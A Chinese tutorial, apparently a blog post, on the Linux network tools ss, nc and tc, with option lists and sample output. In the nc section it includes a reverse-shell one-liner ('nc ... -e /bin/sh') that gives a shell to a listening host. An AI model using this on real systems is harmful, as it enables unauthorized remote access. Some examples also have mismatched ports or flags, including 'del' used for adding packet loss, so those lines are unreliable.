文章目录
一、Linux网络状态工具–ss
1.1 ss命令介绍
ss命令用于显示各种socket的信息,ss命令功能和netstat类似,ss的优势在于它显示更多更详细的有关TCP和连接状态的信息,netstat是遍历/proc下面每个PID目录,ss直接读/proc/net下面的统计信息。所以ss执行的时候消耗资源以及消耗的时间都比netstat少很多
1.2 常用选项
-h, --help this message 帮助信息
-V, --version output version information 输出版本信息
-n, --numeric don't resolve service names 不解析服务名称
-r, --resolve resolve host names 解析主机名
-a, --all display all sockets 显示所有套接字
-l, --listening display listening sockets 显示侦听套接字
-o, --options show timer information 显示计时器信息
-e, --extended show detailed socket information 显示详细的套接字信息
-m, --memory show socket memory usage 显示套接字内存使用量
-p, --processes show process using socket 显示使用socket的进程信息
-i, --info show internal TCP information 显示内部TCP信息
--tipcinfo show internal tipc socket information 显示内部tipc套接字信息
-s, --summary show socket usage summary show socket使用摘要
--tos show tos and priority information 显示tos和优先级信息
-b, --bpf show bpf filter socket information 显示bpf过滤器套接字信息
-E, --events continually display sockets as they are destroyed 在它们被摧毁时不断显示套接字
-Z, --context display process SELinux security contexts 显示进程SELinux安全上下文
-z, --contexts display process and socket SELinux security contexts 显示进程和套接字SELinux安全上下文
-N, --net switch to the specified network namespace name 切换到指定的网络命名空间名称
-4, --ipv4 display only IP version 4 sockets 只显示ipv4的套接字;
-6, --ipv6 display only IP version 6 sockets 只显示ipv6的套接字;
-0, --packet display PACKET sockets 显示PACKET套接字
-t, --tcp display only TCP sockets 仅显示TCP套接字
-S, --sctp display only SCTP sockets 仅显示SCTP套接字
-u, --udp display only UDP sockets 仅显示UDP套接字
-d, --dccp display only DCCP sockets 仅显示DCCP套接字
-w, --raw display only RAW sockets 仅显示RAW套接字
-x, --unix display only Unix domain sockets 仅显示Unix域套接字
--tipc display only TIPC sockets 仅显示TIPC套接字
--vsock display only vsock sockets 仅显示vsock套接字
-f, --family=FAMILY display sockets of type FAMILY 显示FAMILY类型的套接字
FAMILY := {inet|inet6|link|unix|netlink|vsock|tipc|help}
-K, --kill forcibly close sockets, display what was closed 强行关闭套接字,显示已关闭的内容
-H, --no-header Suppress header line 抑制标题行
-A, --query=QUERY, --socket=QUERY QUERY := {all|inet|tcp|udp|raw|unix|unix_dgram|unix_stream|unix_seqpacket|packet|netlink|vsock_tipc}[,QUERY]
-D, --diag=FILE Dump raw information about TCP sockets to FILE 将有关TCP套接字的原始信息转储到FILE
-F, --filter=FILE read filter information from FILE 从FILE中读取过滤器信息
FILTER := [ state STATE-FILTER ] [ EXPRESSION ]
STATE-FILTER := {all|connected|synchronized|bucket|big|TCP-STATES}
TCP-STATES := {established|syn-sent|syn-recv|fin-wait-{1,2}|time-wait|closed|close-wait|last-ack|listening|closing}
connected := {established|syn-sent|syn-recv|fin-wait-{1,2}|time-wait|close-wait|last-ack|closing}
synchronized := {established|syn-recv|fin-wait-{1,2}|time-wait|close-wait|last-ack|closing}
bucket := {syn-recv|time-wait}
big := {established|syn-sent|fin-wait-{1,2}|closed|close-wait|last-ack|listening|closing}
- ss --tna
查看建立的tcp连接
[root@zijie ~]# ss -tna
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:27017 *:*
LISTEN 0 128 127.0.0.1:9001 *:*
LISTEN 0 128 *:6379 *:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 *:5432 *:*
LISTEN 0 128 *:9123 *:*
ESTAB 0 0 172.16.8.167:22 59.37.12.120:20765
ESTAB 0 0 172.16.8.167:47120 100.100.30.25:80
ESTAB 0 0 172.16.8.167:22 59.37.12.120:20776
ESTAB 0 0 172.16.8.167:22 59.37.12.120:20712
ESTAB 0 0 172.16.8.167:58832 100.100.27.15:3128
LISTEN 0 128 [::]:3307 [::]:*
LISTEN 0 128 [::]:6379 [::]:*
LISTEN 0 128 [::]:5432 [::]:*
LISTEN 0 70 [::]:33060 [::]:*
- ss -s
列出当前已经链接,关闭,等待的tcp连接
[root@zijie ~]# ss -s
Total: 130 (kernel 184)
TCP: 16 (estab 5, closed 0, orphaned 0, synrecv 0, timewait 0/0), ports 0
Transport Total IP IPv6
* 184 - -
RAW 0 0 0
UDP 6 5 1
TCP 16 12 4
INET 22 17 5
FRAG 0 0 0
- ss -tnl
查看主机监听端口
[root@zijie ~]# ss -tnl
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:27017 *:*
LISTEN 0 128 127.0.0.1:9001 *:*
LISTEN 0 128 *:6379 *:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 *:5432 *:*
LISTEN 0 128 *:9123 *:*
LISTEN 0 128 [::]:3307 [::]:*
LISTEN 0 128 [::]:6379 [::]:*
LISTEN 0 128 [::]:5432 [::]:*
LISTEN 0 70 [::]:33060 [::]:*
- ss -tlr
通过 -r 选项解析 IP 和端口号
[root@zijie ~]# ss -tlr
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:27017 *:*
LISTEN 0 128 localhost:etlservicemgr *:*
LISTEN 0 128 *:6379 *:*
LISTEN 0 128 *:http *:*
LISTEN 0 128 *:ssh *:*
LISTEN 0 128 *:postgres *:*
LISTEN 0 128 *:grcp *:*
LISTEN 0 128 [::]:opsession-prxy [::]:*
LISTEN 0 128 [::]:6379 [::]:*
LISTEN 0 128 [::]:postgres [::]:*
LISTEN 0 70 [::]:33060 [::]:*
- ss -lp
找出打开套接字/端口应用程序
[root@zijie ~]# ss -lp | grep 5432
u_str LISTEN 0 128 /tmp/.s.PGSQL.5432 72972236 * 0 users:(("postgres",pid=32525,fd=5))
- ss -tlp
使用 -p 选项查看监听端口的程序名称
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:27017 *:* users:(("mongod",pid=11733,fd=12))
LISTEN 0 128 127.0.0.1:etlservicemgr *:* users:(("supervisord",pid=31126,fd=4))
LISTEN 0 128 *:6379 *:* users:(("redis-server",pid=18774,fd=7))
LISTEN 0 128 *:http *:* users:(("nginx",pid=32274,fd=6),("nginx",pid=32273,fd=6))
LISTEN 0 128 *:ssh *:* users:(("sshd",pid=28190,fd=3))
LISTEN 0 128 *:postgres *:* users:(("postgres",pid=32525,fd=3))
LISTEN 0 128 *:grcp *:* users:(("nginx",pid=32274,fd=7),("nginx",pid=32273,fd=7))
LISTEN 0 128 [::]:opsession-prxy [::]:* users:(("mysqld",pid=1954,fd=35))
LISTEN 0 128 [::]:6379 [::]:* users:(("redis-server",pid=18774,fd=6))
LISTEN 0 128 [::]:postgres [::]:* users:(("postgres",pid=32525,fd=4))
LISTEN 0 70 [::]:33060 [::]:* users:(("mysqld",pid=1954,fd=31))
- ss state ‘established’
显示指定状态的连接
[root@zijie ~]# ss state 'established'
Netid Recv-Q Send-Q Local Address:Port Peer Address:Port
u_str 0 0 * 20919543 * 20919544
u_str 0 0 /var/run/dbus/system_bus_socket 20919544 * 20919543
u_str 0 0 /run/systemd/journal/stdout 16434 * 16342
u_str 0 0 * 16342 * 16434
u_str 0 0 * 67391416 * 67391417
u_str 0 0 * 70869537 * 70869536
u_str 0 0 * 16297 * 16433
u_str 0 0 * 70869536 * 70869537
u_str 0 0 * 15367 * 15368
- ss src ip:port
匹配本地地址和端口号 - ss -dst ip
匹配远程地址和端口号
[root@zijie ~]# ss src 172.16.8.167:22
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp ESTAB 0 0 172.16.8.167:ssh 59.37.12.120:20765
tcp ESTAB 0 112 172.16.8.167:ssh 59.37.12.120:10699
tcp ESTAB 0 0 172.16.8.167:ssh 59.37.12.120:20776
tcp ESTAB 0 0 172.16.8.167:ssh 59.37.12.120:10743
- 其余重要参数
-o, --options 显示时间信息
-m, --memory 显示 socket 使用的内存
-i, --info 显示更多 TCP 内部的信息
二、网络工具中的瑞士军刀–nc
2.1 nc命令介绍
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。
2.2 nc常用选项
[root@zijie ~]# nc --help
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
-4 Use IPv4 only 仅使用IPv4
-6 Use IPv6 only 仅使用IPv6
-U, --unixsock Use Unix domain sockets only 仅使用Unix域套接字
-C, --crlf Use CRLF for EOL sequence 将CRLF用于EOL序列
-c, --sh-exec <command> Executes the given command via /bin/sh 通过/ bin / sh执行给定命令
-e, --exec <command> Executes the given command 执行给定的命令
--lua-exec <filename> Executes the given Lua script 执行给定的Lua脚本
-g hop1[,hop2,...] Loose source routing hop points (8 max) 源路由跳跃点松散(最多8个)
-G <n> Loose source routing hop pointer (4, 8, 12, ...) 松散的源路由跃点指针(4、8、12,...)
-m, --max-conns <n> Maximum <n> simultaneous connections 最大<n>个同时连接
-h, --help Display this help screen 显示此帮助屏幕
-d, --delay <time> Wait between read/writes 在读/写之间等待
-o, --output <filename> Dump session data to a file 将会话数据转储到文件
-x, --hex-dump <filename> Dump session data as hex to a file 将会话数据以十六进制形式转储到文件中
-i, --idle-timeout <time> Idle read/write timeout 空闲的读/写超时
-p, --source-port port 指定要使用的源端口
-s, --source addr Specify source address to use (doesn't affect -l) 指定要使用的源地址(不影响-l)
-l, --listen Bind and listen for incoming connections 绑定并监听传入的连接
-k, --keep-open Accept multiple connections in listen mode 在侦听模式下接受多个连接
-n, --nodns Do not resolve hostnames via DNS 不通过DNS解析主机名
-t, --telnet Answer Telnet negotiations 回答Telnet协商
-u, --udp Use UDP instead of default TCP 使用UDP而不是默认TCP
--sctp Use SCTP instead of default TCP 使用SCTP代替默认TCP
-v, --verbose Set verbosity level (can be used several times) 设置详细程度(可以多次使用)
-w, --wait <time> Connect timeout 连接超时
-z Zero-I/O mode, report connection status only 零输入/输出模式,仅报告连接状态
--append-output Append rather than clobber specified output files 附加而不是破坏指定的输出文件
--send-only Only send data, ignoring received; quit on EOF 只发送数据,忽略接收; 退出EOF
--recv-only Only receive data, never send anything 只接收数据,从不发送任何东西
--allow Allow only given hosts to connect to Ncat 只允许给定的主机连接到Ncat
--allowfile A file of hosts allowed to connect to Ncat 允许连接到Ncat的主机文件
--deny Deny given hosts from connecting to Ncat 拒绝给定主机连接到Ncat
--denyfile A file of hosts denied from connecting to Ncat 拒绝连接到Ncat的主机文件
--broker Enable Ncat's connection brokering mode 启用Ncat的连接代理模式
--chat Start a simple Ncat chat server 启动一个简单的Ncat聊天服务器
--proxy <addr[:port]> Specify address of host to proxy through 指定要通过其代理的主机地址
--proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5") 指定代理类型(“ http”或“ socks4”或“ socks5”)
--proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server 使用HTTP或SOCKS代理服务器进行身份验证
--ssl Connect or listen with SSL 使用SSL连接或收听
--ssl-cert Specify SSL certificate file (PEM) for listening 指定用于侦听的SSL证书文件(PEM)
--ssl-key Specify SSL private key (PEM) for listening 指定用于侦听的SSL私钥(PEM)
--ssl-verify Verify trust and domain name of certificates 验证证书的信任和域名
--ssl-trustfile PEM file containing trusted SSL certificates 包含受信任的SSL证书的PEM文件
--ssl-ciphers Cipherlist containing SSL ciphers to use 包含要使用的SSL密码的密码列表
--version Display Ncat's version information and exit 显示Ncat的版本信息并退出
See the ncat(1) manpage for full options, descriptions and usage examples
- chat服务
server:nc -l 1563
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示
client:nc 172.16.8.167 1563 - 端口探测
nc -t -w 1 172.16.8.167 22 - 文件传输
server:nc -l 1563 < db.sql
client:nc -n 172.16.8.167 1563 >db.sql - 反向shell
server:nc -l 1563
client:nc 172.16.8.167 3333 -e /bin/sh 即可反弹一个Shell到IP地址为 172.16.8.167的监听主机的3333端口。
三、流量控制器–tc
3.1 tc命令介绍
Linux操作系统中的流量控制器TC(Traffic Control)用于Linux内核的流量控制,主要是通过在输出端口处建立一个队列来实现流量控制。接收包从输入接口(Input Interface)进来后,经过流量限制(Ingress Policing)丢弃不符合规定的数据包,由输入多路分配器(Input De-Multiplexing)进行判断选择:如果接收包的目的是本主机,那么将该包送给上层处理;否则需要进行转发,将接收包交到转发块(Forwarding Block)处理。转发块同时也接收本主机上层(TCP、UDP等)产生的包。转发块通过查看路由表,决定所处理包的下一跳。然后,对包进行排列以便将它们传送到输出接口(Output Interface)。一般我们只能限制网卡发送的数据包,不能限制网卡接收的数据包,所以我们可以通过改变发送次序来控制传输速率。Linux流量控制主要是在输出接口排列时进行处理和实现的。
3.2 tc常用选项
[root@zijie ~]# tc -help
Usage: tc [ OPTIONS ] OBJECT { COMMAND | help }
tc [-force] [-OK] -batch filename
where OBJECT := { qdisc | class | filter | action | monitor | exec }
OPTIONS := { -s[tatistics] | -d[etails] | -r[aw] | -p[retty] | -b[atch] [filename] | -n[etns] name |
-nm | -nam[es] | { -cf | -conf } path }
- 模拟延迟
tc qdisc add dev eth0 root netem delay 100ms - 模拟丢包
tc qdisc del dev eth0 root netem loss 50%